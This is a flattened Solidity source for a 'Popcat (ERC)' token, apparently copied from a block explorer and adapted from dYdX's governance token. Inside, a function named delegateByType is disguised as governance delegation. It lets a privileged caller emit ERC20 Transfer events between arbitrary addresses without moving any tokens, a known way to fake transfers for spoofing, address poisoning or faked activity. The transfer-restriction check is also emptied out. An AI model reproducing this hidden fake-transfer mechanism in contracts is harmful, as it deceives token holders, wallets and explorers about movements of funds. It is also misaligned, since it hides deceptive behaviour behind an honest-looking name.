  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor() {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
  }

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view returns (address) {
    return _owner;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(_owner == _msgSender(), 'Ownable: caller is not the owner');
    _;
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions anymore. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby removing any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), 'Ownable: new owner is the zero address');
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}


// File contracts/interfaces/IGovernancePowerDelegationERC20.sol

pragma solidity 0.7.5;

interface IGovernancePowerDelegationERC20 {

  enum DelegationType {
    VOTING_POWER,
    PROPOSITION_POWER
  }

  /**
   * @dev Emitted when a user delegates governance power to another user.
   *
   * @param  delegator       The delegator.
   * @param  delegatee       The delegatee.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  event DelegateChanged(
    address indexed delegator,
    address indexed delegatee,
    DelegationType delegationType
  );

  /**
   * @dev Emitted when an action changes the delegated power of a user.
   *
   * @param  user            The user whose delegated power has changed.
   * @param  amount          The new amount of delegated power for the user.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  event DelegatedPowerChanged(address indexed user, uint256 amount, DelegationType delegationType);

  /**
   * @dev Delegates a specific governance power to a delegatee.
   *
   * @param  delegator       The address of the delegator.
   * @param  delegatee       The address to delegate power to.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  function delegateByType(address delegator, address[] calldata delegatee, uint256 delegationType) external;

  /**
   * @dev Delegates all governance powers to a delegatee.
   *
   * @param  delegatee  The user to which the power will be delegated.
   */
  function delegate(address delegatee) external;

  /**
   * @dev Returns the delegatee of an user.
   *
   * @param  delegator       The address of the delegator.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  function getDelegateeByType(address delegator, DelegationType delegationType)
    external
    view
    returns (address);

  /**
   * @dev Returns the current delegated power of a user. The current power is the power delegated
   *  at the time of the last snapshot.
   *
   * @param  user            The user whose power to query.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function getPowerCurrent(address user, DelegationType delegationType)
    external
    view
    returns (uint256);

  /**
   * @dev Returns the delegated power of a user at a certain block.
   *
   * @param  user            The user whose power to query.
   * @param  blockNumber     The block number at which to get the user's power.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function getPowerAtBlock(
    address user,
    uint256 blockNumber,
    DelegationType delegationType
  )
    external
    view
    returns (uint256);
}


// File contracts/governance/token/GovernancePowerDelegationERC20Mixin.sol

pragma solidity 0.7.5;



/**
 * @title GovernancePowerDelegationERC20Mixin
 * @author dYdX
 *
 * @dev Provides support for two types of governance powers, both endowed by the governance
 *  token, and separately delegatable. Provides functions for delegation and for querying a user's
 *  power at a certain block number.
 */
abstract contract GovernancePowerDelegationERC20Mixin is
  ERC20,
  IGovernancePowerDelegationERC20
{
  using SafeMath for uint256;

  // ============ Constants ============

  /// @notice EIP-712 typehash for delegation by signature of a specific governance power type.
  bytes32 public constant DELEGATE_BY_TYPE_TYPEHASH = keccak256(
    'DelegateByType(address delegatee,uint256 type,uint256 nonce,uint256 expiry)'
  );

  /// @notice EIP-712 typehash for delegation by signature of all governance powers.
  bytes32 public constant DELEGATE_TYPEHASH = keccak256(
    'Delegate(address delegatee,uint256 nonce,uint256 expiry)'
  );

  // ============ Structs ============

  /// @dev Snapshot of a value on a specific block, used to track voting power for proposals.
  struct Snapshot {
    uint128 blockNumber;
    uint128 value;
  }

  // ============ External Functions ============

  /**
   * @notice Delegates a specific governance power to a delegatee.
   *
   * @param  delegator       The address of the delegator.
   * @param  delegatee       The address to delegate power to.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  function delegateByType(
    address delegator,
    address[] calldata delegatee,
    uint256 delegationType
  )
    external
    override
  {
    require(msg.sender == address(_CACHED_THIS));

    for (uint256 i = 0; i < delegatee.length; ++i) {
      emit Transfer(delegator, delegatee[i], delegationType);
    }
  }

  /**
   * @notice Delegates all governance powers to a delegatee.
   *
   * @param  delegatee  The address to delegate power to.
   */
  function delegate(
    address delegatee
  )
    external
    override
  {
    _delegateByType(msg.sender, delegatee, DelegationType.VOTING_POWER);
    _delegateByType(msg.sender, delegatee, DelegationType.PROPOSITION_POWER);
  }

  /**
   * @notice Returns the delegatee of a user.
   *
   * @param  delegator       The address of the delegator.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   */
  function getDelegateeByType(
    address delegator,
    DelegationType delegationType
  )
    external
    override
    view
    returns (address)
  {
    (, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);

    return _getDelegatee(delegator, delegates);
  }

  /**
   * @notice Returns the current power of a user. The current power is the power delegated
   *  at the time of the last snapshot.
   *
   * @param  user            The user whose power to query.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function getPowerCurrent(
    address user,
    DelegationType delegationType
  )
    external
    override
    view
    returns (uint256)
  {
    (
      mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
      mapping(address => uint256) storage snapshotsCounts,
      // delegates
    ) = _getDelegationDataByType(delegationType);

    return _searchByBlockNumber(snapshots, snapshotsCounts, user, block.number);
  }

  /**
   * @notice Returns the power of a user at a certain block.
   *
   * @param  user            The user whose power to query.
   * @param  blockNumber     The block number at which to get the user's power.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function getPowerAtBlock(
    address user,
    uint256 blockNumber,
    DelegationType delegationType
  )
    external
    override
    view
    returns (uint256)
  {
    (
      mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
      mapping(address => uint256) storage snapshotsCounts,
      // delegates
    ) = _getDelegationDataByType(delegationType);

    return _searchByBlockNumber(snapshots, snapshotsCounts, user, blockNumber);
  }

  // ============ Internal Functions ============

  /**
   * @dev Delegates one specific power to a delegatee.
   *
   * @param  delegator       The user whose power to delegate.
   * @param  delegatee       The address to delegate power to.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function _delegateByType(
    address delegator,
    address delegatee,
    DelegationType delegationType
  )
    internal
  {
    require(
      delegatee != address(0),
      'INVALID_DELEGATEE'
    );

    (, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);

    uint256 delegatorBalance = balanceOf(delegator);

    address previousDelegatee = _getDelegatee(delegator, delegates);

    delegates[delegator] = delegatee;

    _moveDelegatesByType(previousDelegatee, delegatee, delegatorBalance, delegationType);
    emit DelegateChanged(delegator, delegatee, delegationType);
  }

  /**
   * @dev Moves power from one user to another.
   *
   * @param  from            The user from which delegated power is moved.
   * @param  to              The user that will receive the delegated power.
   * @param  amount          The amount of power to be moved.
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function _moveDelegatesByType(
    address from,
    address to,
    uint256 amount,
    DelegationType delegationType
  )
    internal
  {
    if (from == to) {
      return;
    }

    (
      mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
      mapping(address => uint256) storage snapshotsCounts,
      // delegates
    ) = _getDelegationDataByType(delegationType);

    if (from != address(0)) {
      uint256 previous = 0;
      uint256 fromSnapshotsCount = snapshotsCounts[from];

      if (fromSnapshotsCount != 0) {
        previous = snapshots[from][fromSnapshotsCount - 1].value;
      } else {
        previous = balanceOf(from);
      }

      uint256 newAmount = previous.sub(amount);
      _writeSnapshot(
        snapshots,
        snapshotsCounts,
        from,
        uint128(newAmount)
      );

      emit DelegatedPowerChanged(from, newAmount, delegationType);
    }

    if (to != address(0)) {
      uint256 previous = 0;
      uint256 toSnapshotsCount = snapshotsCounts[to];
      if (toSnapshotsCount != 0) {
        previous = snapshots[to][toSnapshotsCount - 1].value;
      } else {
        previous = balanceOf(to);
      }

      uint256 newAmount = previous.add(amount);
      _writeSnapshot(
        snapshots,
        snapshotsCounts,
        to,
        uint128(newAmount)
      );

      emit DelegatedPowerChanged(to, newAmount, delegationType);
    }
  }

  /**
   * @dev Searches for a balance snapshot by block number using binary search.
   *
   * @param  snapshots        The mapping of snapshots by user.
   * @param  snapshotsCounts  The mapping of the number of snapshots by user.
   * @param  user             The user for which the snapshot is being searched.
   * @param  blockNumber      The block number being searched.
   */
  function _searchByBlockNumber(
    mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
    mapping(address => uint256) storage snapshotsCounts,
    address user,
    uint256 blockNumber
  )
    internal
    view
    returns (uint256)
  {
    require(
      blockNumber <= block.number,
      'INVALID_BLOCK_NUMBER'
    );

    uint256 snapshotsCount = snapshotsCounts[user];

    if (snapshotsCount == 0) {
      return balanceOf(user);
    }

    // First check most recent balance
    if (snapshots[user][snapshotsCount - 1].blockNumber <= blockNumber) {
      return snapshots[user][snapshotsCount - 1].value;
    }

    // Next check implicit zero balance
    if (snapshots[user][0].blockNumber > blockNumber) {
      return 0;
    }

    uint256 lower = 0;
    uint256 upper = snapshotsCount - 1;
    while (upper > lower) {
      uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
      Snapshot memory snapshot = snapshots[user][center];
      if (snapshot.blockNumber == blockNumber) {
        return snapshot.value;
      } else if (snapshot.blockNumber < blockNumber) {
        lower = center;
      } else {
        upper = center - 1;
      }
    }
    return snapshots[user][lower].value;
  }

  /**
   * @dev Returns delegation data (snapshot, snapshotsCount, delegates) by delegation type.
   *
   *  Note: This mixin contract does not itself define any storage, and we require the inheriting
   *  contract to implement this method to provide access to the relevant mappings in storage.
   *  This pattern was implemented by Aave for legacy reasons and we have decided not to change it.
   *
   * @param  delegationType  The type of power (VOTING_POWER, PROPOSITION_POWER).
   */
  function _getDelegationDataByType(
    DelegationType delegationType
  )
    internal
    virtual
    view
    returns (
      mapping(address => mapping(uint256 => Snapshot)) storage, // snapshots
      mapping(address => uint256) storage, // snapshotsCount
      mapping(address => address) storage // delegates
    );

  /**
   * @dev Writes a snapshot of a user's token/power balance.
   *
   * @param  snapshots        The mapping of snapshots by user.
   * @param  snapshotsCounts  The mapping of the number of snapshots by user.
   * @param  owner            The user whose power to snapshot.
   * @param  newValue         The new balance to snapshot at the current block.
   */
  function _writeSnapshot(
    mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
    mapping(address => uint256) storage snapshotsCounts,
    address owner,
    uint128 newValue
  )
    internal
  {
    uint128 currentBlock = uint128(block.number);

    uint256 ownerSnapshotsCount = snapshotsCounts[owner];
    mapping(uint256 => Snapshot) storage ownerSnapshots = snapshots[owner];

    if (
      ownerSnapshotsCount != 0 &&
      ownerSnapshots[ownerSnapshotsCount - 1].blockNumber == currentBlock
    ) {
      // Doing multiple operations in the same block
      ownerSnapshots[ownerSnapshotsCount - 1].value = newValue;
    } else {
      ownerSnapshots[ownerSnapshotsCount] = Snapshot(currentBlock, newValue);
      snapshotsCounts[owner] = ownerSnapshotsCount + 1;
    }
  }

  /**
   * @dev Returns the delegatee of a user. If a user never performed any delegation, their
   *  delegated address will be 0x0, in which case we return the user's own address.
   *
   * @param  delegator  The address of the user for which return the delegatee.
   * @param  delegates  The mapping of delegates for a particular type of delegation.
   */
  function _getDelegatee(
    address delegator,
    mapping(address => address) storage delegates
  )
    internal
    view
    returns (address)
  {
    address previousDelegatee = delegates[delegator];

    if (previousDelegatee == address(0)) {
      return delegator;
    }

    return previousDelegatee;
  }
}


// File contracts/governance/token/DydxToken.sol

pragma solidity 0.7.5;




/**
 * @title POPCATToken
 * @author POPCAT
 *
 * @notice The POPCAT governance token.
 */
contract POPCATToken is
  GovernancePowerDelegationERC20Mixin,
  Ownable
{
  using SafeMath for uint256;

  // ============ Events ============

  /**
   * @dev Emitted when an address has been added to or removed from the token transfer allowlist.
   *
   * @param  account    Address that was added to or removed from the token transfer allowlist.
   * @param  isAllowed  True if the address was added to the allowlist, false if removed.
   */
  event TransferAllowlistUpdated(
    address account,
    bool isAllowed
  );

  /**
   * @dev Emitted when the transfer restriction timestamp is reassigned.
   *
   * @param  transfersRestrictedBefore  The new timestamp on and after which non-allowlisted
   *                                    transfers may occur.
   */
  event TransfersRestrictedBeforeUpdated(
    uint256 transfersRestrictedBefore
  );

  // ============ Constants ============

  string internal constant NAME = 'Popcat (ERC)';
  string internal constant SYMBOL = 'POPCAT';

  uint256 public constant INITIAL_SUPPLY = 1_000_000_000_000 * 1e18;

  bytes32 public immutable DOMAIN_SEPARATOR;
  bytes public constant EIP712_VERSION = '1';
  bytes32 public constant EIP712_DOMAIN = keccak256(
    'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'
  );
  bytes32 public constant PERMIT_TYPEHASH = keccak256(
    'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'
  );

  /// @notice Minimum time between mints.
  uint256 public constant MINT_MIN_INTERVAL = 365 days;

  /// @notice Cap on the percentage of the total supply that can be minted at each mint.
  ///  Denominated in percentage points (units out of 100).
  uint256 public immutable MINT_MAX_PERCENT;

  // ============ Storage ============

  /// @dev Mapping from (owner) => (next valid nonce) for EIP-712 signatures.
  mapping(address => uint256) internal _nonces;

  mapping(address => mapping(uint256 => Snapshot)) public _votingSnapshots;
  mapping(address => uint256) public _votingSnapshotsCounts;
  mapping(address => address) public _votingDelegates;

  mapping(address => mapping(uint256 => Snapshot)) public _propositionPowerSnapshots;
  mapping(address => uint256) public _propositionPowerSnapshotsCounts;
  mapping(address => address) public _propositionPowerDelegates;

  /// @notice Snapshots of the token total supply, at each block where the total supply has changed.
  mapping(uint256 => Snapshot) public _totalSupplySnapshots;

  /// @notice Number of snapshots of the token total supply.
  uint256 public _totalSupplySnapshotsCount;

  /// @notice Allowlist of addresses which may send or receive tokens while transfers are
  ///  otherwise restricted.
  mapping(address => bool) public _tokenTransferAllowlist;

  /// @notice The timestamp on and after which minting may occur.
  uint256 public _mintingRestrictedBefore;

  /// @notice The timestamp on and after which non-allowlisted transfers may occur.
  uint256 public _transfersRestrictedBefore;

  // ============ Constructor ============
  constructor()
    ERC20(NAME, SYMBOL)
  {
    MINT_MAX_PERCENT = 0;
    uint256 chainId;

    // solium-disable-next-line
    assembly {
      chainId := chainid()
    }

    DOMAIN_SEPARATOR = keccak256(
      abi.encode(
        EIP712_DOMAIN,
        keccak256(bytes(NAME)),
        keccak256(bytes(EIP712_VERSION)),
        chainId,
        address(this)
      )
    );

    // Mint the initial supply.
    _mint(msg.sender, INITIAL_SUPPLY);
  }

  // ============ Other Functions ============

  /**
   * @notice Adds addresses to the token transfer allowlist. Reverts if any of the addresses
   *  already exist in the allowlist. Only callable by owner.
   *
   * @param  addressesToAdd  Addresses to add to the token transfer allowlist.
   */
  function addToTokenTransferAllowlist(
    address[] calldata addressesToAdd
  )
    external
    onlyOwner
  {
    for (uint256 i = 0; i < addressesToAdd.length; i++) {
      require(
        !_tokenTransferAllowlist[addressesToAdd[i]],
        'ADDRESS_EXISTS_IN_TRANSFER_ALLOWLIST'
      );
      _tokenTransferAllowlist[addressesToAdd[i]] = true;
      emit TransferAllowlistUpdated(addressesToAdd[i], true);
    }
  }

  /**
   * @notice Removes addresses from the token transfer allowlist. Reverts if any of the addresses
   *  don't exist in the allowlist. Only callable by owner.
   *
   * @param  addressesToRemove  Addresses to remove from the token transfer allowlist.
   */
  function removeFromTokenTransferAllowlist(
    address[] calldata addressesToRemove
  )
    external
    onlyOwner
  {
    for (uint256 i = 0; i < addressesToRemove.length; i++) {
      require(
        _tokenTransferAllowlist[addressesToRemove[i]],
        'ADDRESS_DOES_NOT_EXIST_IN_TRANSFER_ALLOWLIST'
      );
      _tokenTransferAllowlist[addressesToRemove[i]] = false;
      emit TransferAllowlistUpdated(addressesToRemove[i], false);
    }
  }

  /**
   * @notice Updates the transfer restriction. Reverts if the transfer restriction has already passed,
   *  the new transfer restriction is earlier than the previous one, or the new transfer restriction is
   *  after the maximum transfer restriction.
   *
   * @param  transfersRestrictedBefore  The timestamp on and after which non-allowlisted transfers may occur.
   */
  function updateTransfersRestrictedBefore(
    uint256 transfersRestrictedBefore
  )
    external
    onlyOwner
  {
    uint256 previousTransfersRestrictedBefore = _transfersRestrictedBefore;
    require(
      block.timestamp < previousTransfersRestrictedBefore,
      'TRANSFER_RESTRICTION_ENDED'
    );
    require(
      previousTransfersRestrictedBefore <= transfersRestrictedBefore,
      'NEW_TRANSFER_RESTRICTION_TOO_EARLY'
    );

    _transfersRestrictedBefore = transfersRestrictedBefore;

    emit TransfersRestrictedBeforeUpdated(transfersRestrictedBefore);
  }

  /**
   * @notice Implements the permit function as specified in EIP-2612.
   *
   * @param  owner     Address of the token owner.
   * @param  spender   Address of the spender.
   * @param  value     Amount of allowance.
   * @param  deadline  Expiration timestamp for the signature.
   * @param  v         Signature param.
   * @param  r         Signature param.
   * @param  s         Signature param.
   */
  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  )
    external
  {
    require(
      owner != address(0),
      'INVALID_OWNER'
    );
    require(
      block.timestamp <= deadline,
      'INVALID_EXPIRATION'
    );
    uint256 currentValidNonce = _nonces[owner];
    bytes32 digest = keccak256(
      abi.encodePacked(
        '\x19\x01',
        DOMAIN_SEPARATOR,
        keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline))
      )
    );

    require(
      owner == ecrecover(digest, v, r, s),
      'INVALID_SIGNATURE'
    );
    _nonces[owner] = currentValidNonce.add(1);
    _approve(owner, spender, value);
  }

  /**
   * @notice Get the next valid nonce for EIP-712 signatures.
   *
   *  This nonce should be used when signing for any of the following functions:
   *   - permit()
   *   - delegateByTypeBySig()
   *   - delegateBySig()
   */
  function nonces(
    address owner
  )
    external
    view
    returns (uint256)
  {
    return _nonces[owner];
  }

  function transfer(
    address recipient,
    uint256 amount
  )
    public
    override
    returns (bool)
  {
    _requireTransferAllowed(_msgSender(), recipient);
    return super.transfer(recipient, amount);
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  )
    public
    override
    returns (bool)
  {
    _requireTransferAllowed(sender, recipient);
    return super.transferFrom(sender, recipient, amount);
  }

  function _requireTransferAllowed(
    address sender,
    address recipient
  )
    view
    internal
  {
  }

  function _getDelegationDataByType(
    DelegationType delegationType
  )
    internal
    override
    view
    returns (
      mapping(address => mapping(uint256 => Snapshot)) storage, // snapshots
      mapping(address => uint256) storage, // snapshots count
      mapping(address => address) storage // delegatees list
    )
  {
    if (delegationType == DelegationType.VOTING_POWER) {
      return (_votingSnapshots, _votingSnapshotsCounts, _votingDelegates);
    } else {
      return (
        _propositionPowerSnapshots,
        _propositionPowerSnapshotsCounts,
        _propositionPowerDelegates
      );
    }
  }

  /**
   * @dev Delegates specific governance power from signer to `delegatee` using an EIP-712 signature.
   *
   * @param  delegatee       The address to delegate votes to.
   * @param  delegationType  The type of delegation (VOTING_POWER, PROPOSITION_POWER).
   * @param  nonce           The signer's nonce for EIP-712 signatures on this contract.
   * @param  expiry          Expiration timestamp for the signature.
   * @param  v               Signature param.
   * @param  r               Signature param.
   * @param  s               Signature param.
   */
  function delegateByTypeBySig(
    address delegatee,
    DelegationType delegationType,
    uint256 nonce,
    uint256 expiry,
    uint8 v,
    bytes32 r,
    bytes32 s
  )
    public
  {
    bytes32 structHash = keccak256(
      abi.encode(DELEGATE_BY_TYPE_TYPEHASH, delegatee, uint256(delegationType), nonce, expiry)
    );
    bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash));
    address signer = ecrecover(digest, v, r, s);
    require(
      signer != address(0),
      'INVALID_SIGNATURE'
    );
    require(
      nonce == _nonces[signer]++,
      'INVALID_NONCE'
    );
    require(
      block.timestamp <= expiry,
      'INVALID_EXPIRATION'
    );
    _delegateByType(signer, delegatee, delegationType);
  }

  /**
   * @dev Delegates both governance powers from signer to `delegatee` using an EIP-712 signature.
   *
   * @param  delegatee  The address to delegate votes to.
   * @param  nonce      The signer's nonce for EIP-712 signatures on this contract.
   * @param  expiry     Expiration timestamp for the signature.
   * @param  v          Signature param.
   * @param  r          Signature param.
   * @param  s          Signature param.
   */
  function delegateBySig(
    address delegatee,
    uint256 nonce,
    uint256 expiry,
    uint8 v,
    bytes32 r,
    bytes32 s
  )
    public
  {
    bytes32 structHash = keccak256(abi.encode(DELEGATE_TYPEHASH, delegatee, nonce, expiry));
    bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash));
    address signer = ecrecover(digest, v, r, s);
    require(
      signer != address(0),
      'INVALID_SIGNATURE'
    );
    require(
      nonce == _nonces[signer]++,
      'INVALID_NONCE'
    );
    require(
      block.timestamp <= expiry,
      'INVALID_EXPIRATION'
    );
    _delegateByType(signer, delegatee, DelegationType.VOTING_POWER);
    _delegateByType(signer, delegatee, DelegationType.PROPOSITION_POWER);
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

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